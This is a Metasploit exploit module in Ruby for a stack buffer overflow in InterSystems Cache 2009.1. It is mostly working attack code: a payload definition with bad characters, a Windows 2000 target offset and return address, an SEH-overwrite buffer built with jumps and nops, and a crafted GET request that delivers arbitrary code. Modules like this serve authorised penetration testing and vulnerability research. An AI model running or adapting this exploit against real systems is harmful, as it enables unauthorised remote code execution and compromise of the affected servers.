```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  # XXX: Needs custom body check HttpFingerprint = { :uri =>
'/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in InterSystems Cache 2009.1.
          By sending a specially crafted GET request, an attacker may be able to execute
          arbitrary code.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-20005' ],
          [ 'OSVDB', '60549' ],
          [ 'BID', '37177' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 650,
          'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], #
libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-09-29',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    ) # Initially...!

    register_options([ Opt::RPORT(57772) ])
  end

  def exploit
    # offset to the seh frame.
    sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] -
payload.encoded.length)
    # jmp $+6 | p/p/r
    sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
    # fall into some nops, jmp back to our final payload.
```

```
      sploit << make_nops(8) + [0xe9, -700].pack('CV')
      # cause the av!
      sploit << rand_text_alpha_upper(payload.encoded.length)

      print_status("Trying target #{target.name}...")

      send_request_raw({
        'uri' => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
        'method' => 'GET',
      }, 5)

      handler
    end
  end
```